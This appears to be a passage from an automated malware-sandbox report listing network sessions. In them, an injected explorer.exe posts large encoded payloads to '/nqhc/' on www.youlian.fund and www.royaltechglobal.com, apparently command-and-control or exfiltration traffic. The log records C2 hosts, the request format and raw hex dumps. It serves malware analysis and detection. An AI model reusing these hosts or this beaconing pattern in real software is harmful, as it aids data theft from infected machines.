69 43 44 31 72 76 74 67 69 79 50 51 68 54 39 75 6c 54 62 76 36 78 6b 43 6b 67 44 4a 30 62 42 41 6d 7a 44 77 54 56 51 6a 72 28 55 4a 6d 7e 33 51 75 67 77 55 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSAUtNpO1MRJxlrEC_MFb5Ao5dYSBKNjFyqjHkKwJC2Y4Ndn56xotlrGLyE5jxFXbRXD9eLY1PmAEqN0Z86CrrCBct(gd-aNV3vn2yY9jtDjfIKpOsRxsn1MjjCxEkTXCD4R15Q2xL~ylTHH6SXygTPBtsD0nKJwpWtpTjtVamzZTx9QJf2bLjhUHkVEqf5_b6rTnA35Ss4OWDEHtxaqynsuzs6RpIKXOI1A5aOiuHT2hWRfphTuNo3DqCZoIVmvV9t5xspgzeF3s9Pnr6C5ggcj2H4Kjx3HfQcmt4Nv1rIwyB362B1LHGgyyObU15QawCtMOcOGbP1rRbE1ORHZkcTNEwQ4XXFc6XbLzcqyBUID1e7YCclT(SN5k4fV7sL1w5vNT5kuEn7NyF3sT0(saGlfb3rbOUC4KD5w5QXt4wIiCD1rvtgiyPQhT9ulTbv6xkCkgDJ0bBAmzDwTVQjr(UJm~3QugwU.
Nov 21, 2022 19:23:51.559788942 CET	1626	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:23:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Nov 21, 2022 19:23:51.789969921 CET	1626	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.11.20	49888	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:53.534775019 CET	1639	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 49 55 74 37 31 4f 31 74 52 4a 79 6c 72 45 42 5f 4d 41 62 35 41 6c 35 65 6f 57 42 4b 52 7a 46 30 32 6a 48 33 79 77 4a 78 65 59 6f 64 64 69 32 61 78 75 70 6c 72 53 4c 79 59 74 6a 79 35 74 62 68 54 44 38 65 37 59 78 38 4f 44 47 36 4e 32 5a 38 37 4e 68 37 43 5f 63 74 37 4b 64 2d 57 4e 56 31 72 6e 33 41 51 39 76 65 62 6a 57 34 4b 75 46 4d 52 30 33 58 30 32 6a 6a 47 62 45 6b 54 48 43 43 38 52 31 36 49 32 7e 71 7e 78 72 54 48 48 7a 79 58 78 6b 54 54 4e 74 73 76 73 6e 4b 56 77 70 57 46 70 51 44 74 56 63 43 6e 65 44 42 38 62 66 76 33 44 64 54 38 62 48 6b 78 36 71 65 4e 5f 59 4b 76 54 6b 58 6a 35 55 49 4d 4f 65 44 45 46 70 78 61 35 6f 58 73 79 7a 6f 6d 6e 70 49 71 39 4f 4f 31 41 34 37 75 69 71 57 54 78 6d 32 52 56 6c 42 54 5f 4a 6f 37 50 71 43 4a 30 49 56 6d 42 56 38 70 35 77 63 35 67 79 66 46 32 68 4e 50 65 67 61 43 57 79 67 59 70 32 48 55 53 6a 78 50 70 66 54 77 6d 74 59 4e 76 6e 38 55 7a 67 52 33 78 72 78 30 57 5a 32 68 77 79 4f 47 46 31 34 45 4b 77 53 42 4d 50 73 65 47 4b 50 31 30 42 72 45 78 59 68 48 66 67 63 54 4e 45 77 63 47 58 58 42 63 37 6e 7a 4c 68 62 57 79 46 48 51 44 33 65 37 6b 43 63 6c 4f 28 53 41 5a 6b 34 47 30 37 74 36 75 77 5f 50 4e 54 49 30 75 46 6d 37 4d 33 31 32 6d 58 30 28 42 58 6d 68 49 62 30 65 59 4f 55 54 46 4b 30 70 77 34 51 48 74 76 41 49 68 4a 44 30 6a 6f 74 68 33 32 50 73 48 54 39 79 66 54 65 54 71 78 6a 32 6b 69 30 4d 76 4b 7a 38 64 68 53 41 52 54 57 48 61 34 7a 78 47 70 48 55 58 7e 32 33 64 49 5a 46 58 59 6b 67 5a 48 42 49 77 4c 2d 39 58 56 30 6f 36 50 59 6c 31 64 53 58 6f 49 7a 56 62 5a 35 76 75 76 70 5a 61 52 64 4f 6e 43 67 59 42 49 49 51 37 38 54 4e 67 4a 6c 66 45 77 34 6e 44 71 42 49 33 43 41 65 6f 74 2d 71 51 65 42 66 37 72 42 42 6e 39 6a 56 33 43 57 61 71 32 49 78 6e 4e 6b 28 57 64 50 4b 33 47 5f 72 4a 58 44 47 47 4e 58 41 32 31 69 59 70 4b 68 61 4c 78 2d 5a 47 4d 44 38 6c 46 6f 76 6f 42 4a 28 61 37 56 6c 65 73 57 6b 6e 66 4f 71 33 79 68 63 4d 33 66 7a 5f 53 55 50 49 52 66 39 56 6e 59 65 55 79 52 4b 44 45 43 56 75 65 39 45 32 6c 39 4f 77 62 75 46 49 43 57 39 4e 4e 58 73 5f 48 6b 4c 2d 7a 33 49 32 64 32 6f 53 30 62 73 63 7a 2d 52 68 6d 6d 6a 66 72 51 68 41 52 49 41 47 51 64 46 6f 56 76 56 71 72 4c 67 49 47 4a 61 73 75 32 5a 4a 41 49 6c 56 28 6c 6c 49 53 70 6b 54 56 48 45 57 57 67 41 4e 69 37 66 68 54 6b 4c 74 41 58 76 32 30 72 65 66 59 50 4b 47 44 6c 4b 6b 31 4e 61 46 71 43 6a 70 6b 70 73 4b 66 74 6c 4f 6c 55 6f 5f 42 57 4c 5f 4b 4c 4d 65 6e 4f 7e 57 56 61 66 6f 4a 31 37 4f 39 75 72 38 30 73 49 5f 6d 7a 57 45 7a 7a 54 43 52 43 55 68 41 4e 30 33 71 4f 67 35 72 65 62 4b 43 35 74 78 77 69 36 4a 46 62 65 6a 4f 54 6d 4c 55 4c 4b 6c 48 53 50 74 7a 41 6a 42 65 70 66 45 36 4f 6f 76 28 54 33 57 67 42 48 47 35 74 43 4d 74 48 34 39 51 4b 6a 6c 66 34 61 56 52 38 4c 51 66 4f 45 6b 37 56 76 74 6f 45 63 67 51 7a 6a 46 70 55 4a 55 4c 35 42 76 36 67 75 69 45 4b 4c 74 55 48 42 71 56 6b 63 44 33 30 5a 75 35 56 38 6f 6a 69 79 69 7a 71 43 56 39 5f 7a 61 42 57 52 68 4c 54 58 53 6c 70 77 42 37 34 50 2d 70 43 55 55 31 4d 44 79 52 36 46 4f 79 65 4c 54 46 68 7a 55 70 62 4c 5a 62 51 69 2d 61 41 41 66 57 68 42 4d 43 47 56 65 72 7a 32 59 6a 33 52 47 28 33 51 4d 62 35 6b 30 55 73 58 52 56 6f 50 38 72 74 51 65 53 45 46 53 32 37 7a 77 77 55 77 44 45 36 7a 36 70 75 41 4a 6e 66 49 79 56 47 72 31 61 35 35 44 36 4d 28 59 42 46 49 37 50 66 6b 59 75 57 49 5a 36 4f 4a 73 69 31 66 62 33 72 4b 55 62 57 42 57 7e 58 6b 6a 77 69 6f 32 44 67 72 73 70 5f 72 32 69 54 7e 56 52 6e 41 37 6c 74 67 70 63 68 52 35 32 33 7a 38 56 66 35 53 66 43 41 47 4f 70 35 51 39 45 46 34 6d 67 32 4e 6d 41 30 31 6e 42 77 77 55 46 78 44 48 4b 35 66 55 63 51 48 41 62 33 2d 49 4e 78 62 4e 43 53 49 70 59 5a 46 6d 5f 57 36 35 55 4f 6e 53 54 55 6c 73 79 72 70 78 79 68 51 4c 4a 64 77 55 6f 41 35 6c 37 44 5f 59 57 6f 76 31 30 4e 77 5a 7a 65 4c 44 69 7a 4c 33 49 36 4c 53 6f 33 79 79 37 42 79 45 71 41 34 4b 53 4d 6a 4f 66 51 33 32 50 32 67 41 56 39 69 55 66 61 76 30 50 78 4b 63 6b 62 5a 76 51 50 53 58 52 38 44 4a 6e 30 5a 31 Data Ascii: r4txB=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSIUt71O1tRJylrEB_MAb5Al5eoWBKRzF02jH3ywJxeYoddi2axuplrSLyYtjy5tbhTD8e7Yx8ODG6N2Z87Nh7C_ct7Kd-WNV1rn3AQ9vebjW4KuFMR03X02jjGbEkTHCC8R16I2~q~xrTHHzyXxkTTNtsvsnKVwpWFpQDtVcCneDB8bfv3DdT8bHkx6qeN_YKvTkXj5UIMOeDEFpxa5oXsyzomnpIq9OO1A47uiqWTxm2RVlBT_Jo7PqCJ0IVmBV8p5wc5gyfF2hNPegaCWygYp2HUSjxPpfTwmtYNvn8UzgR3xrx0WZ2hwyOGF14EKwSBMPseGKP10BrExYhHfgcTNEwcGXXBc7nzLhbWyFHQD3e7kCclO(SAZk4G07t6uw_PNTI0uFm7M312mX0(BXmhIb0eYOUTFK0pw4QHtvAIhJD0joth32PsHT9yfTeTqxj2ki0MvKz8dhSARTWHa4zxGpHUX~23dIZFXYkgZHBIwL-9XV0o6PYl1dSXoIzVbZ5vuvpZaRdOnCgYBIIQ78TNgJlfEw4nDqBI3CAeot-qQeBf7rBBn9jV3CWaq2IxnNk(WdPK3G_rJXDGGNXA21iYpKhaLx-ZGMD8lFovoBJ(a7VlesWknfOq3yhcM3fz_SUPIRf9VnYeUyRKDECVue9E2l9OwbuFICW9NNXs_HkL-z3I2d2oS0bscz-RhmmjfrQhARIAGQdFoVvVqrLgIGJasu2ZJAIlV(llISpkTVHEWWgANi7fhTkLtAXv20refYPKGDlKk1NaFqCjpkpsKftlOlUo_BWL_KLMenO~WVafoJ17O9ur80sI_mzWEzzTCRCUhAN03qOg5rebKC5txwi6JFbejOTmLULKlHSPtzAjBepfE6Oov(T3WgBHG5tCMtH49QKjlf4aVR8LQfOEk7VvtoEcgQzjFpUJUL5Bv6guiEKLtUHBqVkcD30Zu5V8ojiyizqCV9_zaBWRhLTXSlpwB74P-pCUU1MDyR6FOyeLTFhzUpbLZbQi-aAAfWhBMCGVerz2Yj3RG(3QMb5k0UsXRVoP8rtQeSEFS27zwwUwDE6z6puAJnfIyVGr1a55D6M(YBFI7PfkYuWIZ6OJsi1fb3rKUbWBW~Xkjwio2Dgrsp_r2iT~VRnA7ltgpchR523z8Vf5SfCAGOp5Q9EF4mg2NmA01nBwwUFxDHK5fUcQHAb3-INxbNCSIpYZFm_W65UOnSTUlsyrpxyhQLJdwUoA5l7D_YWov10NwZzeLDizL3I6LSo3yy7ByEqA4KSMjOfQ32P2gAV9iUfav0PxKckbZvQPSXR8DJn0Z1_fX8mXhX5nCY559ZaIsJn7ce5(mbM5eJlVMSFQWqYIh1WSlmuUjit2bPaFoO_ncEoczRiGlNcVZ2DwFDm7IirRvgAPRaHRZuHrfd3hb8F5rYCYCckcKL8Ieezo22AHsUhYgWTy6x4(k47HFVnYI4CLE~y5tDY3PyNGGpvZzqZ32J9QzVPCIuOh4F2f3H3SQ62hIxQymbPyeWv0-qY4WNU5Ek64XUot7Ekxebjxfynp2JviHp2ZJk1c8soRufoD5QRxQB6Ec23UfdaH8L9gjAYr7TXdp35WcSFIOHnT35Y7bJ4mrO6AeK23Wm6xXIfTPeLPA76ZqNKc25eu4TnbS(u9uALKTEe2X4hco~oBrpvSqC6qdvsyDVbGNHe473EnDFXut4N7dL8pg8yXUcqdyoRSJDJ7CrdU5gqNk7vGd1awRaEFzxshbNDlYhzXaeDFq1Y7kg648eqvM58L1r1iK5x0fe3mZGrXUUqrqG1G7fxJjUQcVoTpaZMhb3pBB1yq1Dwzl(kg0sOeshIs1Pm0jHgGHPb7Ot579xxiT14FdOSmKq-(2bPoLfVHv4_~DLzo6hoUAB8xAAhGNzQxcGJxHKAcfoKPyL5pkUndp1ULZXc9FRAIXkLveHxws5f1sr-1A8DOLuFdAm2u1tfhuoXQNM6Bjcr2A4_pkkuXuwcA7wb5A8ohO6C~y6_0byEVXejiMs7BXP8T0U9~vA8wxXt1d6gpXiPnHwH0O1qg7ArlFNUzFyDCi1etthi(9VgUmJuIBSRSPjH(qTTV6BmtH9A3HE_yttbiY4tdzNt(HoQGLXxd1hZAh1h6frQdxjHEx~QhdfwPbl-6z9626OtyuY5q7Un5QgUjdcHb8LshBv3bl9fFO3QaqN8PN8o4okotA5sKw74BA0P(Pcw5zwwk2pZs2m1(GC-b_eB2McpWahOZo76eOxr06aNgLkvBIrZRpKV7ACFUSS73-pjOWZuvuHFa7paHGb-NMzNg9gWkNVMi9T9fdPD0qQQ7fnknc46lSNyqshBXWLZqIwNzbF3Vw0F(wJBR-Ef5C45LcoXPZ4XmtqjeG(OCQqfWzY1arjpxDbIRvwCZvz6agq1t09cD49BPPlBIhPTukeypxZIJx(NY55u60M2cDpzpPE6oQv1540b2Bgz32t1w9FMD792qsYtIIum(FkYh2cFcxtsV9cC3puWyuBmD1MIlnihTCS_3z6y1y8xBYiTnsek4kzgEjtHiwbRY6yrKWU2lwSKM3Lkk0BdG4sVdh4VQMxAOmHxF5Rd8RZtqIuQCH1YdMus~wIrRR(BbJWk0G4U1rMASIxuKj9MJt9AWTJ9vtOgiWhuS-0chk7k44I-kG7IPTd9Hze3g9eAglZl5oiaV_MC7giGwETETEEa0hgzpxclahmFZRrOo6F-L7Icowb9JuLw7w2wHL2OxTri~siHeRar5Sne6366BNFGV-gtzv2Gai3Lb4tWtj~J(Fhq24ysgjEMfByDNGe5Ph(rQzcmNv8gRAQbpFqpsrv6i0mgXLKESjcXxNvkxdl9lFQhJ5AvRPnQ0aqDYBHDR9ccJP7FxpdIRJq_ZpXDjI8tjwfQEHxrw9iD5FJkSztHwDFbvKllvHRpO4ACW7iEyvCvO3dl5ZMZuEJF9xSoq_vKr26ILKA88Ytzz0vxayJUjELhOvGqaY5ODKbM6R7-I1ZeqO3h6MVYvYYTF1IRw3(aZq6HVM6DGRmI1EPNVwwoIvUJzB1maX~a~CIbi3gF0hZEtgzPVSyQGRtRpH0fDCtCnqGYdkjFGUgRtohoEZMo67AWwqeaiBJUrd32ylos8ckQMSQ7AnZ5onkMdoFBrjjfSNEqzPJ6hfENSriqhfq_DQAvMsR03M6aoLIIHrOWoc(5SL8pzlymv-VSrxJ0TmwkkANy2xd1eYONnlpkfzMKVAV9hNmPwJzfjmlqM0Bm9fzAGoo7SxYCBAslBKVB73D5SkVdnTshbG8KLAU3I9iCIpHcZ2OCjHC4Dgb1EHCwbnKH~X3rkyx7kyoWDA9zsuie0yRnMY6y9MeoGaaF5c59~OWPUynsFama91RRRNK68ShFjRMvHvAu~h93WQyZpVLyNT7W~Z3hpQ8M5gGFK7NRIeuvuXhKz3ccBlFhHN(UPN5_EYzpGs3I59svdoQgDdDxZDe0JJgWq0~LgJ2_6NjWOeG1NXpE(Cp1AtHhcNTFX4KaGgZ8d5h_4letagomdcBUA9G-POqdVUQqDlytB1r-PmlbRzdRsUiri3Sq2Qyy9U1_tUnx1GMZR5yo38FFG3sLiEoBWpvrE9Q26kR6UumEsubx1f99ZzfPncifLRjLyArfy7(hOwPRwgDxMPuZ4OBuS257W67RnHGoBD2m8s930VWhM4mOpDD87f~HaJE7dlHLiWvFC3r1W_OVhpH3sRQipRd5xkXoJxHbZ2iRKINZilbddNIx0UARXLQFIReYDVmrB2KSq9IIJHdU4NvLhRC_9xd-q_lUFJPQIPC5eII9JTHBf30cv2EwQ0fE3xbWVojiYmXM0rKbR7etbLN4CLq_431txCSUjSTLdvXBIG0kX6khU-k1g1x8iWpQjx(DV_CSYMerKs(lXhxH~bN1xNwQg_kbaRUTr6TAEMIjEY4BMJyOJM(lrgD9XxpnhSp-c3J_NEn1CZVCZzURZCCh23U3WgL6d8NwKOFsQONbDzd8iH95DFUhyeuVO-uyfpXiN3VasmTz8TXO52
Nov 21, 2022 19:23:53.767724037 CET	1642	OUT	Data Raw: 65 4a 58 37 39 54 62 31 62 72 38 45 75 5a 56 71 4c 6a 31 63 68 33 7e 34 59 7a 4e 5a 69 51 63 49 50 39 63 78 49 31 65 7a 63 43 77 57 64 4d 31 79 75 53 74 54 47 30 78 59 32 55 44 41 79 6b 79 6c 34 43 7a 44 73 6b 79 6f 66 76 67 53 5a 54 72 6d 4e 6b Data Ascii: eJX79Tb1br8EuZVqLj1ch3~4YzNZiQcIP9cxI1ezcCwWdM1yuStTG0xY2UDAykyl4CzDskyofvgSZTrmNk6AVmtpz_huGvMC7Kpr~zqmyH0ZJaBJX6bHExgBRquDxKdda_xfl_LEZRgR83QDXjzbEhnXjB4rAqmDTKdrL0oUQW4k81tfNqIh4DgBLW9ZX8Ei4PAokm0Iq-3exfcubUtJbsX66C8MjMFSa0NCViQflvvqTmK9zJy
Nov 21, 2022 19:23:53.767860889 CET	1652	OUT	Data Raw: 6e 61 48 76 57 68 54 39 61 39 49 6c 64 36 61 51 6c 6e 6b 5f 54 76 68 35 59 79 58 51 49 61 75 4a 79 4f 74 74 7a 30 6a 2d 58 63 7e 58 65 36 65 69 30 54 49 39 31 6c 38 64 37 7a 6b 75 53 62 39 6d 57 55 6d 63 34 62 39 36 49 52 51 65 4a 5f 49 76 4f 50 Data Ascii: naHvWhT9a9Ild6aQlnk_Tvh5YyXQIauJyOttz0j-Xc~Xe6ei0TI91l8d7zkuSb9mWUmc4b96IRQeJ_IvOP5bqZ(5n5rmRX~-yB3XXaBlnPjUndrhlp~RIOMCPLsgxfjK9SupgMqWNVhILcLG78CisZRb28qC99U9dSH_b5GLCyMqaHNfuOt0fR~kw9FzR1tAKosQXhNVU26x3zcqcrMTrjwckjehHwNdYIobTW1ViK~oOWwLStF
Nov 21, 2022 19:23:53.768074989 CET	1663	OUT	Data Raw: 38 55 70 79 57 52 30 6f 38 6e 64 42 6e 64 76 58 56 42 6c 38 64 79 63 49 72 31 46 73 58 71 36 77 72 38 69 6a 71 62 5a 68 46 2d 63 36 78 54 38 77 77 59 72 38 69 53 55 32 6b 52 74 63 63 2d 53 75 62 67 5a 71 4f 34 71 4d 39 66 7e 31 63 52 6d 71 73 69 Data Ascii: 8UpyWR0o8ndBndvXVBl8dycIr1FsXq6wr8ijqbZhF-c6xT8wwYr8iSU2kRtcc-SubgZqO4qM9f~1cRmqsizRnyxDmWj_Yxr2qtPxMIrEvbEAbngUlcIymqXiwopBdmDmMsGYafPqdvX-llqNJBHVyYEohPgqS1fRlvlBTXwOr2hSZpgkDd2h3NSaNzfLiFCEyCpGMeBNX48sfE3mhRC9OZb8(IjjIDYehBmhhqpidW3A5ACT~dm
Nov 21, 2022 19:23:53.768189907 CET	1665	OUT	Data Raw: 79 52 57 48 53 4b 4f 5a 45 57 62 41 33 35 65 59 59 78 74 76 44 65 30 64 58 37 46 76 7a 5a 51 46 70 6e 6e 77 75 4e 65 61 4b 31 79 64 35 35 4c 6e 70 58 76 41 42 6d 37 7a 74 49 43 4a 76 7a 4c 44 59 33 62 53 73 6d 37 72 4b 4c 34 77 71 2d 57 6d 4f 67 Data Ascii: yRWHSKOZEWbA35eYYxtvDe0dX7FvzZQFpnnwuNeaK1yd55LnpXvABm7ztICJvzLDY3bSsm7rKL4wq-WmOgQLUYDWHt(fLmLvQQ8rhSNp97bvMNH7R50G5rOm9eU2p76Ah0Ym0XAMs7a8v5huNhch(0Htv079nFFCv9oa4rR_VHOwOApz7WERf-F1Kk1OUUR1E1E_Eq9NnbxjfBNTz0kAA3NYWxQABgHsQkN4NbpDxqwMCc~LEYk
Nov 21, 2022 19:23:54.000361919 CET	1673	OUT	Data Raw: 4f 76 61 44 70 6d 53 78 4c 58 54 71 58 32 79 44 48 41 70 36 30 45 47 31 4b 7a 30 43 71 32 30 53 32 56 44 66 30 53 70 67 7a 56 7a 65 58 70 55 50 67 39 47 79 70 58 69 79 4d 6e 31 77 73 47 48 6a 62 41 73 4e 65 75 51 73 7a 4e 33 33 7a 79 59 51 45 36 Data Ascii: OvaDpmSxLXTqX2yDHAp60EG1Kz0Cq20S2VDf0SpgzVzeXpUPg9GypXiyMn1wsGHjbAsNeuQszN33zyYQE63dWy5aRC0TZ4cu1WJrbZHmHPFrtFJJT7C1El2O47bpeG0mxBeBDMgmvIwRw6tDQ5Q2xA7MnnA9OkpsUn3puzXfLdT3Q4L7yUgGVPEP3eUhU6WduozFPSUDGy(8dpHpzAegKYEXAH(WPvnNKx1x2ODNYxTP~A13hOq
Nov 21, 2022 19:23:54.000472069 CET	1679	OUT	Data Raw: 4b 6e 6c 51 4d 72 69 48 28 6b 65 4e 4b 67 34 34 6d 2d 45 64 55 6b 7a 62 35 7a 49 72 28 75 6c 33 47 50 7a 70 4e 4b 70 33 36 53 36 72 46 38 69 79 48 43 7a 68 28 41 58 73 71 38 36 74 53 6c 76 41 69 42 44 33 65 75 45 76 79 55 4e 34 6b 2d 74 54 31 4a Data Ascii: KnlQMriH(keNKg44m-EdUkzb5zIr(ul3GPzpNKp36S6rF8iyHCzh(AXsq86tSlvAiBD3euEvyUN4k-tT1JczIy1dn1WwxLiu~w4kmj2nbFfxzchcESnCqmPX1pjXDph_SmF-7b(2XZyxJC08PkILXeEJY1NrxAAbsxUl4EsUKIdz615RO4usKt6iRQxYjuTewLl_xgNfNCtqBegUZzrHpyCOv5ytRIp4FDT-tA~OBXov9mcQ~Cn
Nov 21, 2022 19:23:54.314026117 CET	1681	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:23:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Nov 21, 2022 19:23:54.543446064 CET	1681	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.11.20	49889	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:55.781178951 CET	1681	OUT	GET /nqhc/?r4txB=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&1b=S8jD HTTP/1.1 Host: www.youlian.fund Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:23:56.014388084 CET	1682	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2022 18:23:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.11.20	49890	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:01.133670092 CET	1683	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 7a 47 33 66 35 68 71 30 38 6c 61 6d 77 54 76 44 61 52 38 75 68 76 6e 45 6f 57 6b 63 73 68 7e 34 67 78 35 64 39 38 46 54 59 35 68 79 65 75 33 75 78 2d 45 78 58 73 6e 69 4a 47 31 68 62 35 6f 35 74 58 44 6d 35 54 67 49 38 36 61 65 50 32 6f 6d 6f 73 68 5a 49 70 39 47 72 49 38 42 48 44 74 47 6c 68 47 71 70 34 51 65 4f 31 79 59 7a 68 6e 34 37 47 4f 49 44 50 59 4a 6b 37 34 31 68 69 6f 45 75 39 54 37 5a 4f 7a 53 31 7a 6d 39 47 79 66 31 4e 50 68 71 6b 6f 7a 70 47 4e 34 76 42 6a 33 72 4c 5f 33 4b 64 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=cCD7hmI-Mx(gzG3f5hq08lamwTvDaR8uhvnEoWkcsh~4gx5d98FTY5hyeu3ux-ExXsniJG1hb5o5tXDm5TgI86aeP2omoshZIp9GrI8BHDtGlhGqp4QeO1yYzhn47GOIDPYJk741hioEu9T7ZOzS1zm9Gyf1NPhqkozpGN4vBj3rL_3Kdw).
Nov 21, 2022 19:24:01.440999985 CET	1684	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:01 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13045 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a a2 5f 3b 55 77 6f da 22 67 7a ba 57 af 5e bd fa 4f be 7d 7d fe f6 1f 3f bf 20 a9 c9 f8 70 77 b7 6f 7f 49 cc d4 c0 e1 46 39 84 53 91 0c 1c 10 ee 2f 17 ce ee 4e ae 60 c4 ae 07 8e 4c 7a 58 60 72 dd f3 7d 99 e4 5e 06 be d0 4f 1d 82 00 3b fd 14 68 3c dc dd 21 64 a7 9f 81 a1 24 4a a9 d2 60 06 ce 2f 6f bf 73 4f 9c e5 27 41 33 18 38 63 06 93 5c 2a e3 90 48 0a 03 02 53 27 2c 36 e9 20 86 31 8b c0 2d 2f 75 dd ee ce 4e ff 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b d2 f1 5a de b1 17 10 97 50 26 35 48 2f 92 19 71 dd a1 4d 5f ea a4 64 28 8d 5e ea 23 24 13 31 5c 3b c4 bf 9b 9a 80 00 45 8d 54 4b d9 77 9a ee 3f fb f1 35 fe 1e cc bb cf 60 74 a4 58 6e 88 99 e6 08 44 f3 9c b3 88 1a 26 85 cf e3 c3 f7 5a 0a 84 e4 54 6b 7c 2b c9 ba 3a 4a 21 a3 76 c2 9d 9d 1b e7 3f ca 7e d7 c6 e9 39 95 c6 ef fc 77 7e 95 e2 49 95 38 0d e7 3f 12 45 f3 d4 e9 fd 86 c9 b6 09 66 3e 57 a8 7a a4 8a 2c 7c c9 b4 b1 39 2c 5e 01 50 72 4a b9 81 28 4d b8 0c 29 b7 02 bd f3 c5 1f 69 f4 ce 7f 1a ce 8b 79 55 cc 0c 64 16 e7 05 87 0c 27 5f e9 64 e3 3f e2 fb b6 3d 9e f2 45 41 2e 35 b3 42 38 bd a0 6a e2 f4 16 c0 bf 42 f8 33 4d 60 5b 5c cc b3 9b c2 c4 1f 64 66 ab 0a c5 b7 a8 ba c5 32 14 b7 24 b4 ad 3e f3 09 6e 1b 1f af c3 5d ac 65 35 5a 9f ac 46 85 be d0 e4 27 69 c8 77 b2 10 f1 b6 c2 d4 00 28 4f ae 60 cc 64 a1 b7 93 68 49 9c df 97 e5 79 ad 12 2a d8 9f a5 ef b7 b6 8a 5c 2d aa 67 79 63 73 c9 5b 4c 26 df 97 d9 5b 2f bb e1 70 99 c8 65 59 7f cc 50 d4 d7 e1 7b 88 cc b6 28 93 dc 8d a4 30 20 cc 3b bf c8 b9 a4 b1 7e e7 b7 9a ad d6 3b 3f 08 de f9 91 92 79 0e b1 fb 12 3b bd a2 57 ca 0d bc 5c 24 1f 35 b2 85 c0 c2 09 8b 4d 8a a6 e8 34 1b 4e 0a 2c 49 8d d3 eb b4 71 33 cc 92 2f a7 f9 38 e8 db e5 05 7d 94 c1 9e 4e 20 cc ab aa 0f 71 15 52 17 2f a9 48 8a 92 bf 03 c2 fd e5 c2 06 f5 cf 54 99 d7 a3 ed 47 c2 f6 9a 19 b0 36 0d 15 d0 38 52 45 16 6e 5d 5e cf b0 a8 b4 de bd a7 ca 85 6d b0 ed fa 66 84 b6 77 e4 06 53 af 15 29 2f 2c cd 14 d4 c7 2d 1e c7 fb fd 76 77 67 a7 ef eb 48 b1 dc 0c ed f9 89 eb 92 67 9c 13 26 c8 6b 01 e4 e2 c5 6b e2 ba c3 dd dd dd ea e9 6d ca 34 b1 63 11 fc 95 b9 61 19 fb 13 62 32 61 26 25 26 05 f2 0f 49 b5 29 ab 72 5e 24 08 32 0e 4e bd a0 49 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$_;Uwo"gzW^O}}? pwoIF9S/N`LzX`r}^O;h<!d$J`/osO'A38c\HS',6 